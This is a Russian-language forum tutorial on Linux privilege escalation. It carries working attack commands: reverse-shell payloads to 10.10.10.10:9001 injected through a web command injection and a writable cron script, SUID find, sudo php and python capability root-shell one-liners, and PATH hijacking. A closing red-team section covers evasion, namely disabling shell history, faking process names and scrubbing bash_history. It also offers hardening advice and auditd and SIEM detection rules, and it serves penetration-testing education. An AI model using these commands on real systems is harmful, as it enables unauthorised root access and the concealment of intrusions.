Статья Privilege escalation в GNU\Linux: Полное руководство

pirvilege_escalation.webp


Privilege escalation в GNU\Linux

Privilege escalation (Повышение привилегий) — это своего рода головоломка. Здесь не существует «единых решений», и многое зависит от конкретной конфигурации целевой системы. Версия ядра, установленные приложения, поддерживаемые языки программирования, пароли других пользователей — вот лишь некоторые из ключевых элементов, которые повлияют на ваш путь к получению root-оболочки.
По своей сути повышение привилегий обычно подразумевает переход от учетной записи с более низким уровнем прав доступа к учетной записи с более высоким уровнем. С технической точки зрения это эксплуатация уязвимости, ошибки проектирования или недочета в конфигурации операционной системы или приложения с целью получения несанкционированного доступа к ресурсам, которые, как правило, недоступны обычным пользователям.


Starting point: initial foothold

Starting point – это ваша позиция до успешного проникновения. На этом этапе у вас 0 доступа к системе, осуществляется только разведка.
Initial Foothold – это момент, когда проникновение прошло успешно и хакер в системе.

Context: reverse shell from web-vulnerability

Web-приложение обладает функционалом онлайн бухгалтерии. Вставив несколько payload’s стало ясно, что web-приложение подвержено CMD injection. Есть возможность выполнять команды от пользователя www-data. На основе полученной информации, вводим примерный payload для получения reverse shell’а.
${sh -i >& /dev/tcp/10.10.10.10/9001 0>&1}
Хакер с помощью утилиты netcat прослушивает порт 9001 и после выполнения команды на уязвимом сервере, получает успешный доступ к системе.
nc –lvnp 9001

Stabilization shell (Python pty trick)

Когда вы получите reverse shell через какую-либо уязвимость (Например, File Upload и его исполнение shell.php) вы получите не полноценный bash, команды будут работать, но такой shell нестабильный и очень не удобный (отсутствует история команд, не работает авто дополнение и т.д), поэтому нам нужен именно системный bash, его мы легко получим, если на сервере есть, например, python. Вот таким payload:
python3 -c 'import pty; pty.spawn("/bin/bash")'
После выполнения данной команды, мы получим доступ к bash.


Reconnaissance and enumeration

Сбор информации — это первый шаг, который необходимо предпринять сразу после получения доступа к любой системе. Возможно, вы получили доступ, эксплуатировав критическую уязвимость, что обеспечило вам права уровня root, или же просто нашли способ выполнять команды, используя учетную запись с низкими привилегиями. В отличие от задач формата CTF, тестирование на проникновение не заканчивается в тот момент, когда вы получаете доступ к конкретной системе или достигаете определенного уровня привилегий. Как вы убедитесь далее, сбор информации на этапе пост-эксплуатации имеет не меньшее значение, чем на этапе, предшествующем компрометации.

Manual: id, sudo -l, find SUID, crontab, env vars

Ручная проверка структуры и поиск уязвимостей для возможности повышения привилегий.
Используйте команду id для того, чтобы узнать кто вы в системе.
id
Проверка sudo прав для текущего пользователя – добавьте второй ключ –l, это даст больше деталей.
sudo -l -l
Используйте команду grep для нахождения паролей в конфигурационных файлах.
grep –irnw ‘/.config/’ –e ‘password’
Поиск SUID с помощью команды find, чтобы узнать права на директории.
find / -perm -u=s -type f 2>/dev/null
Поиск GUID.
find / -perm -g=s -type f 2>/dev/null
Cronjob - Скрипты, выполняемые с повышенными привилегиями и доступные для редактирования другим пользователям. Ищите любые файлы, принадлежащие привилегированному пользователю, но доступные вам для записи
crontab –l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
Если на сервере есть задача, которая должна выполняться каждые 5 минут, и вы имеете доступ к локальной библиотеке которая используется задачей – вы можете отредактировать библиотеку добавив команду ls –la /root/ >> /home/server/out.txt (либо на языке, на котором написана библиотека, это пример) и получить вывод команды прямо в свою директорию, либо сразу же дописать код так, чтобы получить удалённый shell, как было описано выше.

Очень полезно будет знать о переменных окружения (env vars) в системе. Такие переменные помечаются командой export. Они становятся доступны shell’у и всем дочерним процессам, которые из него запускаются.

Когда атакующий получает первоначальный доступ с низкими правами, он начинает искать способы заставить систему выполнить код от root. Переменные здесь выступают в роли «рычага», с помощью которого можно изменить логику работы легитимных программ.

Automated: LinPEAS, LinEnum, linux-exploit-suggester

Автоматическая проверка структуры и поиск уязвимостей для возможности повышения привилегий. Для такой работы существуют 3 популярных инструмента, которые сейчас будут рассмотрены. Они выполняют автоматический поиск логических недочётов в структуре и подсвечивают их.

LinPEAS (Linux Privilege Escalation Awesome Script) — это мощный автоматизированный инструмент для сбора информации на этапе постэксплуатации, предназначенный для выявления потенциальных векторов повышения привилегий в системах GNU\Linux. Он выполняет всесторонний аудит целевой среды, сканируя её на наличие некорректных настроек, слабых прав доступа, незащищенных конфиденциальных данных, а также известных уязвимостей безопасности, которые могут быть использованы для получения повышенных привилегий.

Ссылка на GitHub: https://github.com/peass-ng/PEASS-ng

LinEnum - это автоматизированный скрипт на языке Bash, созданный для проведения локальной разведки и поиска векторов повышения привилегий в операционных системах семейства GNU\Linux.

Ссылка на GitHub: https://github.com/rebootuser/LinEnum

Linux-exploit-suggester - это специализированный инструмент для аудита безопасности, ориентированный исключительно на поиск уязвимостей на уровне ядра Linux. Если LinEnum проверяет общую конфигурацию системы и ошибки администрирования, то эта утилита копает в сторону эксплоитов, способных дать права суперпользователя через архитектурные или программные бреши самой ОС.

Ссылка на GitHub: https://github.com/InteliSecureLabs/Linux_Exploit_Suggester

Поиск sensitive files (/etc/shadow, .ssh/id_rsa, history)

Файл shadow является одним из наиболее защищенных файлов в системе GNU\Linux, поскольку он содержит зашифрованные пароли, используемые всеми зарегистрированными пользователями для входа в систему. В нем хранится информация о пользовательских учетных записях, а также сведения о настройках паролей. Если неавторизованный пользователь получает доступ к файлу shadow, злоумышленники могут попытаться взломать хеш-суммы, чтобы получить пароли в открытом виде.

Файл .ssh/id_rsa это один из самых критических и желанных трофеев для атакующего на этапе Initial Foothold. В контексте Privilege Escalation опасность этого файла заключается в том, что он стирает границы между локальной безопасностью и сетевой. Если в ходе работы был получен доступ к системе как низкопривилегированный пользователь (например, www-data), и найден в его домашней директории плохо защищенный файл .ssh/id_rsa, вы можете попробовать авторизоваться с его помощью под другими пользователями этой же машины:
Код:
ssh -i id_rsa developer@localhost
ssh -i id_rsa admin@localhost
Иногда приватный ключ позволяет получить права root напрямую.
На сервере может быть разрешен вход по SSH для суперпользователя (PermitRootLogin yes), а публичный аналог найденного ключа добавлен в /root/.ssh/authorized_keys. В таком случае команда ssh -i id_rsa root@localhost мгновенно дает максимальные права.

Команда history хранит в себе историю введённых команд, таким образом хакер может прочитать историю ввода команд с особыми ключами и чувствительными данными. Если администратор передавал пароли прямо в аргументах команд.
Также хакер может узнать, какие кастомные скрипты запускаются на сервере (например, /opt/internal/backup_script.sh). Хакер сразу пойдет проверять права на этот скрипт — вдруг его можно перезаписать.


SUID binary exploitation

SUID и SGID — это права доступа в системах Unix/Linux, позволяющие пользователям запускать файлы с привилегиями владельца файла или его группы (зачастую — пользователя root). Злоумышленники эксплуатируют некорректно настроенные бинарные файлы с флагами SUID/SGID для получения повышенных привилегий или закрепления своего присутствия в системе. Данное правило обнаружения выявляет процессы, выполняющиеся с привилегиями root, но запущенные пользователями без прав root, тем самым сигнализируя о потенциальном неправомерном использовании прав доступа SUID/SGID. Как правило, при запуске программы в GNU\Linux она выполняется с правами текущего пользователя. Чтобы позволить обычным пользователям запускать подобные программы с повышенными привилегиями, исполняемому файлу можно присвоить право доступа SUID. SUID расшифровывается как «Set user ID upon execution» (установка идентификатора пользователя при выполнении). Если для файла установлено право SUID, он выполняется с правами своего владельца — независимо от того, какой пользователь его запускает. Например, команда cp принадлежит пользователю root и имеет установленный бит SUID; это позволяет любому пользователю запускать ее с привилегиями root.

Search: find / -perm -4000 2>/dev/null

Для успешного поиска бинарных файлов с SUID или SGID битами, которые запускаются с правами root, мы используем такую команду:
find / –perm -4000 2>/dev/null

GTFOBins methodology

GTFOBins — это курируемый список бинарных файлов и скриптов, которые злоумышленники могут использовать для выполнения вредоносных команд или получения несанкционированного доступа к системам.

На сайте GTFOBins есть поиск по названиям некоторых программ. Если программа присутствует в списке с функцией «sudo», вы можете использовать её для повышения привилегий — как правило, с помощью специальной escape-последовательности.

Цель проекта GTFOBins — предоставить исчерпывающий перечень бинарных файлов и команд, которые могут быть использованы для повышения привилегий, в том числе тех, которые не получили широкой известности или не имеют официальной документации. Сайт содержит информацию о местоположении каждого бинарного файла, привилегиях пользователя, необходимых для его выполнения, а также примеры того, как его можно использовать для повышения уровня доступа. GTFOBins представляет собой открытый проект, развиваемый силами сообщества при участии исследователей в области безопасности и энтузиастов со всего мира. Веб-сайт регулярно пополняется новыми бинарными файлами и методиками, что делает его ценным ресурсом для всех, кто занимается тестированием безопасности или системным администрированием.

Ссылка на сайт: https://gtfobins.org/

Case: /usr/bin/find SUID -> command execution

Команда find используется для поиска файлов и директорий на основе различных критериев. Если этот бинарь имеет установленный SUID бит, он будет выполняться с правами root, что делает его опасным.

Мы можем использовать возможности find для выполнения произвольных команд. Одним из способов это использование опции –exec или –ok, которые позволяют выполнять команды над найденными файлами.

Рассмотрим такой payload:
Bash:
/usr/bin/find / -name "example" -exec /bin/sh -c 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' \;
/usr/bin/find / –name “example” – ищет файл с именем example в корневой директории.
-exec /bin/sh –c ‘cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash’ \; – копирует /bin/bash в /tmp/rootbash и устанавливает SUID бит.
После выполнения, в каталоге /tmp/rootbash появится бинарь имеющий SUID бит и может быть использован для получения root-shell.


Sudo misconfiguration

Если злоумышленник обладает правами SUDO на программы, позволяющие выполнять команды или произвольно записывать данные в файлы системы, он может использовать этот временный root-доступ для выполнения кода с правами root. Выяснить, какие команды текущий пользователь может выполнять через sudo. Например, как в предыдущей главе, предположим, что обычным пользователям предоставлена возможность запускать команду find с правами sudo, чтобы они могли выполнять поиск всех файлов в системе. Команда find обычно используется для обнаружения файлов и часто наделяется правами sudo, позволяющими пользователям находить файлы в любой части системы. Однако find допускает выполнение системных команд посредством флага -exec! Эти некорректные настройки делают повышение привилегий тривиальным.

sudo -l analysis

Важно после вхождения в initial Foothold, понимать какие права есть у конкретного пользователя. Команда sudo –l покажет их, и мы сможем увидеть, какие права есть на запуск, тех или иных команд/утилит.
В основном для нас интересна строчка «User {user} may run the following commands on {distro}». Она содержит информацию о том, какие команды могут быть выполнены без пароля (NOPASSWD), какие требуют ввода пароля и какие ограничения применены.

Bash:
User may run the following commands on this host:
(ALL) NOPASSWD: /usr/bin/find,
(ALL) ALL

Если команда с NOPASSWD, то мы можем использовать её для выполнения произвольных команд, как мы уже делали с find.
Если у нас ограниченные привилегии, мы ищем уявимости в командах, которые мы можем выполнять.

LD_PRELOAD/LD_LIBRARY_PATH abuse

LD_LIBRARY_PATH и LD_PRELOAD — это переменные окружения. Первая позволяет указать дополнительный каталог для поиска библиотек, а вторая определяет библиотеку, которая будет загружена раньше всех остальных при выполнении программы.

Эти переменные изменяют окружение текущего пользователя, но при выполнении программы с установленным флагом setuid это происходит в контексте владельца, который не обязательно установил переменные LD_LIBRARY_PATH или LD_PRELOAD.

При использовании техники LD_PRELOAD с библиотекой evil на бинарнике(без бита setuid) получаем:
LD_PRELOAD=/tmp/evil/libcust
Вывод бинарника:
Bad library
Такая же технология с бинарником(с битом setuid):
Hello world!

А как теперь поведут себя бинарники с использованием LD_LIBRARY_PATH:
export LD_LIBRARY_PATH=/tmp/evil/
Теперь первый бинарник не выводил «Bad library», но вот второй бинарник уже вывел.

NOPASSWD entries exploitation

Если при выполнении команды sudo -l вы видите строку NOPASSWD: /usr/bin/php, это означает, что вашей учетной записи были предоставлены специальные привилегии посредством конфигурационного файла «sudoers». Строка user ALL=(ALL) NOPASSWD: /usr/bin/php позволяет вашей учетной записи выполнять команду /usr/bin/php с правами суперпользователя (root) без необходимости ввода пароля.

Чтобы проэксплуатировать такую уязвимость, достаточно 1 строчки payload’а:
sudo /usr/bin/php -r "system(‘/bin/sh’);"

В файле sudoers могут присутствовать и другие записи, предоставляющие особые привилегии определенным командам или скриптам. Эти настройки призваны позволить конкретным пользователям выполнять определенные действия с повышенными привилегиями без необходимости ввода пароля.


Cron jobs и writable scripts

Cron jobs - это автоматизированные задачи, определенные в таких расположениях, как /etc/crontab, /etc/cron.d/, /etc/cron.daily/, либо в пользовательских файлах crontab в директории /var/spool/cron/. Если какой-либо из этих файлов (или выполняемые ими скрипты) доступен для записи непривилегированным пользователям, злоумышленник может изменить его, внедрив вредоносные команды.

Enumeration: /etc/crontab, /var/spool/cron

Файлы crontab пользователей расположены в каталоге /var/spool/cron/crontabs/. Имя каждого файла соответствует имени соответствующего пользователя. Управлять этими crontab-файлами можно с помощью команды crontab:
crontab –l –u {user}

А чтобы редактиривать, команда:
crontab –e –u {user}
Общесистемные задания cron хранятся в файле /etc/crontab и дополнительных каталогах конфигурации, которые были описаны в начале.
Просмотр общесистемных заданий cron с помощью cat:
cat /etc/crontab

Перечислить пользователей crontabs:
sudo ls –al /var/spool/cron/crontabs

PATH hijacking

GNU\Linux Cron PATH hijacking — это метод повышения привилегий, использующий некорректную настройку переменных окружения в запланированных заданиях cron.

При выполнении задания cron для поиска исполняемых файлов используется переменная окружения PATH. Если значение этой переменной небезопасно — например, включает каталог, доступный для записи пользователю с низкими привилегиями, — злоумышленник может разместить в нем вредоносный исполняемый файл, имеющий то же имя, что и легитимная команда, используемая в задании cron.
Рассмотрим такой пример, задача cron от имени root выполняется каждую минуту:
* * * * * root backup.sh

Внутри backup.sh:
tar -czf /root/backup.tar.gz /important/data

Если путь сконфигурирован так:
PATH=/usr/local/bin:/usr/bin:/bin:/home/user/scripts
И /home/user/scripts доступен для записи атакеру, он может создать:
Код:
echo '#!/bin/bash' > /home/user/scripts/tar
echo '/bin/bash' >> /home/user/scripts/tar
chmod +x /home/user/scripts/tar
Когда backup.sh запускается, скрипт запускает ложный tar хакера вместо реального /bin/tar, что даёт хакеру повышенные привилегии.

Reverse shell injection

Reverse shell injection inside cron task – это популярный приём, используемый для повышения привилегий и закрепления присутствия в системе. Если хакер обнаружит задачу cron, выполняющуюся с повышенными правами, он внедрит в него полезную нагрузку, если такое доступно.

Рассмотрим файл /etc/crontab:
cat /etc/crontab
Предположим, мы увидели 2 запланированные задачи которые исполняются каждую минуту с правами root:
Код:
overwrite.sh
/usr/local/bin/compress.sh

Теперь, нужно определить, где находится overwrite.sh:
locate overwrite.sh

Допустим, он находится по какому-то пути, теперь нужно проверить его права:
ls –lah /usr/local/bin/overwrite.sh

Предположим, вывод следующий:
-rwxr—rw- 1 root staff 40 May 13 2026 /usr/local/bin/overwrite.sh

Как мы видим, «другие» имеют право на запись. Воспользуемся этим.
Мы можем, или добавить поля в скрипт или перезаписать полностью. Для примера, перезапишем файл, для reverse shell.
vim /usr/local/bin/overwrite.sh

И запишем уже известный нам payload:
bash –i >& /dev/tcp/10.10.10.10/9001 0>&1

На основной ОС запускаем прослушку и просто ждём, в скором времени мы получим shell.
sudo nc –nlvp 9001


Kernel exploits

Эксплуатирование уязвимости ядра Linux в initial foothold – второе по популярности действие, после проверки crontab. Хакеру важно определить версию ядра, чтобы успешно эксплуатировать уязвимость и получить повышенные привилегии.

Kernel version check: uname -a

Команда uname в GNU\Linux показывает определённую информацию о системе. Но для удобства мы будем использовать утилиту с ключём –a, чтобы показать всё сразу.
Linux kalilinux 1.11.11-kali-1 SMP x86_64 GNU/Linux
Теперь нам известна версия ядра и мы сможем найти exploit для конкретного ядра.

CVE lookup (DirtyCow, OverlayFS, Netfilter)

Три наиболее известных класса уязвимостей в современной истории ядра Linux — Dirty COW, OverlayFS и Netfilter — доказывают, что некоторые ошибки могут скрываться у всех на виду, глубоко внутри сложных подсистем, в которых на самом деле разбираются лишь единицы.

Dirty Cow - это уязвимость в ядре Linux, затронувшая все операционные системы на базе GNU\Linux — включая устройства на платформе Android, — в которых использовались более старые версии ядра, созданные до 2018 года. Данная уязвимость представляет собой ошибку локального повышения привилегий, эксплуатирующую состояние гонки (race condition) при реализации механизма «копирования при записи» (copy-on-write) в подсистеме управления памятью ядра. Непривилегированный локальный пользователь мог использовать вызов madvise(..., MADV_DONTNEED) в сочетании с записью в частное отображение файла в памяти, чтобы обманом заставить ядро выполнить запись непосредственно в базовый физический файл, доступный только для чтения. Это позволяло злоумышленнику перезаписывать произвольные системные файлы (такие как /etc/passwd или критически важные исполняемые бинарные файлы) с целью немедленного получения прав root.

OverlayFS - это технология, обеспечивающая бесперебойную работу современной контейнеризации (например, Docker). Она позволяет операционной системе накладывать несколько файловых систем друг поверх друга. При этом имеется «нижний» слой, доступный только для чтения (например, базовый образ контейнера Ubuntu), и «верхний» слой с возможностью записи — именно там контейнер непосредственно выполняет свою работу. В современных дистрибутивах GNU\Linux непривилегированный пользователь может создать собственное «пространство имен пользователя» (user namespace), внутри которого он действует с правами суперпользователя (root). Как правило, этот статус «псевдо-root» не распространяется на реальную хост-систему. Однако файловая система OverlayFS некорректно обрабатывает файловые возможности (такие как setcap, предоставляющий исполняемым файлам определенные привилегии) и SUID-разрешения при копировании или перемещении файлов между нижним и верхним слоями. В уязвимости CVE-2023-0386 злоумышленник мог разместить бинарный файл с правами SUID (которые предписывают системе запускать файл с привилегиями его владельца — в данном случае пользователя root) в слое, находящемся под его контролем. При слиянии или обработке этих слоев модулем OverlayFS на границах разделения ядро не выполняло проверку, подтверждающую, что флагу SUID в контексте хост-системы доверять не следует.

Netfilter - это «движок», лежащий в основе брандмауэров GNU\Linux (iptables и nftables). Он располагается глубоко внутри сетевого стека, перехватывая и обрабатывая абсолютно каждый пакет, входящий в систему или покидающий её. Поскольку ему необходимо обрабатывать высокоскоростной сетевой трафик с минимальной задержкой, он функционирует исключительно в пространстве ядра и оперирует невероятно сложными, динамическими структурами данных. В Netfilter злоумышленники могут использовать непривилегированные пространства имён пользователей для манипулирования конфигурациями брандмауэра и запуска состояния двойного освобождения (UAF) в распределителе памяти ядра (kmalloc). Тщательно распределяя в памяти системы определённые структуры данных, злоумышленник может заставить ядро перенаправить освобождённый блок памяти на что-то другое. Когда Netfilter снова считывает данные из висячего указателя, он считывает данные, манипулированные злоумышленником, вместо легитимных конфигураций брандмауэра. (CVE-2024-1086).

Risks and best practices

При эксплуатации уязвимостей в ядре Linux, важно быть критически аккуратным и прибегать к такому варианту в тяжёлом случае.
Ошибки в коде ядра фатальны. Ошибка в эксплойте ядра мгновенно отправляет всю ОС в Kernel Panic. Для атакующего это потеря доступа и деанонимизация.
Эксплойты ядра пишутся под конкретную микро-версию ядра, определённую архитектуру процессора и даже специфические настройки компилятора.
Современные системы защиты (EDR, SIEM) пристально следят за аномалиями в ядре. Сбой ядра или внедрить туда код генерируют «шумные» логи.
Перед эксплуатацией уязвимостей ядра, важно проверить систему на слабые пароли, неправильно настроенные права на директории, уязвимые службы или sudo без пароля.
Использовать LinPEAS, чтобы узнать точную версию ядра, установленные патчи и понять, сработает ли эксплойт. Не запускайте публичный эксплойт из интернета. Сначала разверните его в точной копии лабы.


Capabilities abuse (GNU\Linux capabilities)

Возможности процессов GNU\Linux позволяют пользователям выполнять тонкую настройку прав доступа и привилегий процессов, выполняющихся в системе GNU\Linux. Традиционно в GNU\Linux применялся простой бинарный подход к правам процессов: процесс либо выполнялся с полными привилегиями root (суперпользователя), либо с ограниченными привилегиями обычного пользователя.

getcap enumeration

Команда getcap сканирует файлы и показывает, какие именно возможности им присвоены.
Для поиска потенциальных векторов повышения привилегий на системе используют команду:
getcap –r / 2>/dev/null

Когда вы запустите эту команду, вы увидите список файлов и их флагов. Нас интересует флаг =ep (Effective + Permitted), который означает, что программа может использовать эту силу прямо сейчас.

CAP_SETUID exploitation

Исполняемые файлы, как правило, устанавливают их для самих себя, а система автоматически предоставляет их процессу при выполнении файла, обладающего соответствующими возможностями. Система хранит наборы файловых возможностей в расширенном атрибуте с именем security.capability. Пользователи могут выполнять эту операцию, используя возможность CAP_SETCAP.

Команда чтобы включить возможность выполнения любой команды кадра файла:
setcap cap_setuid+ep /home/hack/python3

Допустим, администратор дал права интерпретатору Perl или Python, чтобы они могли менять UID для каких-то внутренних скриптов. Эта возможность позволяет процессу произвольно менять свой UID (User ID) на любой другой, включая UID 0 (root).
Достаточно запустить одну строчку кода, которая скомандует процессу стать рутом и запустить оболочку sh:
python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'


Defense and detection

Defense система от Privilege escalation строится на Hardening(усложнение среды, чтобы атака стала невозможной) и Detection(мониторинг и обнаружение, если атака всё же началась).

Hardening: disable unnecessary SUID, sudo policies

Используйте команду chmod для удаления бита SUID у файлов, которым он не требуется. Это позволяет сократить поверхность атаки и минимизировать риски повышения привилегий. Периодически сканируйте свою систему на наличие файлов с установленным битом SUID. Внимательно просматривайте полученный список, убеждайтесь в обоснованности SUID-статуса каждого файла и удаляйте его, если он не требуется.

Никогда не используйте групповые символы * (wildcards) небрежно и не разрешайте запуск команды «со всеми параметрами».
developer ALL=(root) /usr/bin/systemctl restart nginx (разрешено строго одно действие).

Если пользователю необходимо запустить утилиту, которая потенциально может вызвать другую программу (shell), используйте встроенный механизм noexec. Он перехватывает системные вызовы вроде execve() и не дает утилите породить дочерний процесс.

Monitoring: auditd правила для PrivEsc detection

Создайте файл правил для мониторинга изменений идентификаторов, конфигурации sudo и выполнения привилегированных команд.
Bash:
-w /etc/sudoers -p wa -k sudoers
-w /etc/sudoers.d/ -p wa -k sudoers
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/ssh/sshd_config -p wa -k sshd
-a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -F auid!=4294967295 -k priv_cmd
-a always,exit -F arch=b32 -S execve -F euid=0 -F auid>=1000 -F auid!=4294967295 -k priv_cmd

Используйте ausearch, чтобы убедиться, что события поступают.
sudo ausearch -k sudoers -ts today

SIEM queries для подозрительного поведения

Когда злоумышленник пытается скомпрометировать систему через некорректно настроенное правило sudo, он запускает утилиты, способные порождать шелл (vi, less, awk, find).
Детект: Процесс запущен из-под sudo (или имеет euid=0), но его родителем является легитимный текстовый редактор или утилита пагинации.

После получения первоначального доступа атакующие запускают серию автоматизированных команд или готовые скрипты (вроде LinPEAS или LinEnum) для поиска векторов повышения привилегий.
Детект: Всплеск (высокая плотность) вызовов утилит сбора информации от одного пользователя в узкий промежуток времени (например, более 8 разных утилит за 10 секунд).

Если в политиках sudo не задана директива secure_path, система ищет бинарные файлы по путям из переменной $PATH пользователя. Злоумышленники подменяют легитимную команду (например, создают фейковый cat в /tmp), рассчитывая, что администратор запустит sudo cat.
Детект: Запуск системных утилит из нетипичных или общедоступных на запись директорий (/tmp, /dev/shm, /var/tmp).

Добавление своего открытого ключа в файл authorized_keys легитимного пользователя или root.
Детект: Любая модификация файлов authorized_keys процессами, отличными от стандартного ssh-copy-id или легитимных конфигураторов автоматизации (Ansible/Salt).

Red Team tips: stealth и cleanup

Главная задача – не оставить следов на диске (Fileless Execution) и не генерировать аномальные системные вызовы.

Используйте системный вызов memfd_create. Он позволяет создать дескриптор файла прямо в RAM (VFS), который ведёт себя как обычный файл. Потому что обычная загрузка файла через wget на диск в директорию /tmp моментально триггерит современные EDR-системы.

При первоначальном получении TTY-shell’а сразу выполните команду:
set +o history

Эта команда отключает запись последующих команд в память истории текущей сессии.
Администраторы и SIEM смотрят файл ~/.bash_history.
Изменяйте имя процесса в рантайме. В GNU\Linux утилиты могут перезаписывать свой массив argv[0]. На этапе компиляции кастомных инструментов используйте библиотеки для манипуляции с prctl(PR_SET_NAME). Ваш shell в списке ps aux будет выглядить как /usr/sbin/apache2 –k start.

Чистота системы после успешного Privilege escalation – это немаловажная часть.
Для любого системного администратора простое удаление .bash_history или cat /dev/null > .bash_history – это буквально Red Flag. Вместо уничтожения всего файла, вырезайте из него строки, относящиеся к вашей сессии, созранив исходные метки времени. Чтобы изменения текущей сессии не перезаписали файл при закрытии терминала, завершайте процесс оболочки сигналом kill.
kill -9 $$

Если есть возможность, используйте утилиту shred для перезаписи файла случайными данными и затем его удаления. Это необходимо, потому что обычное удаление rm оставляет тело файла на диске.


Литература

https://medium.com/@notfo/linux-privilege-escalation-tryhackme-812681d8c4a8

https://d00mfist.gitbooks.io/ctf/content/privilege_escalation_-_linux.html

https://medium.com/@learntheshell/reverse-shells-a-practical-guide-af1815bc3127

https://hacktricks.wiki/en/linux-hardening/linux-environment-variables.html

https://www.elastic.co/guide/en/security/8.19/privilege-escalation-via-suid-sgid.html

https://labex.io/tutorials/suid-privilege-escalation-on-linux-416147

https://medium.com/@0waizkhan/gtfobins-tools-used-for-linux-privilege-escalation-3ea63a8e0b03

https://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/Unix/EN%20-%20Abusing%20Shared%20Libraries%20-%20boiteaklou.pdf

https://www.boiteaklou.fr/Abusing-Shared-Libraries.html (the same)

https://medium.com/@rebaleos0/privilege-escalation-all-all-nopasswd-usr-bin-php-241a2c43e58d

https://medium.com/@amaraltohami30/cron-file-overwrite-privilege-escalation-linux-privilege-escalation-528ba4837bbf

https://medium.com/@amaraltohami30/cron-path-escalation-privilege-escalation-for-linux-4f058ecaf630

https://blog.deephacking.tech/en/posts/linux-privilege-escalation-via-cron-jobs/#cron-jobs---path-environment-variable

https://manpages.ubuntu.com/manpages/resolute/man1/uname.1.html

https://en.wikipedia.org/wiki/Dirty_COW

https://hacktricks.wiki/en/linux-hardening/privilege-escalation/linux-capabilities.html

https://www.elastic.co/de/security-labs/unlocking-power-safely-privilege-escalation-via-linux-process-capabilities

https://man7.org/linux/man-pages/man8/getcap.8.html

https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/#Working_with_capability

https://www.cyberciti.biz/tips/linux-security.html

https://medium.com/@kiptryin/escalating-privileges-with-suid-enabled-find-a-practical-example-579f0bc617da

https://tech-couch.com/post/hardening-sudo-against-privilege-ecalation-attacks

https://medium.com/@cybersecplayground/linux-hardening-auditd-monitoring-output-redirection-logging-for-hackers-3e5376da3eb6

https://www.redfoxsec.com/blog/red-team-attack-methodology-a-complete-guide-to-adversarial-penetration-testing
 
  • Нравится
Реакции: Edmon Dantes
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab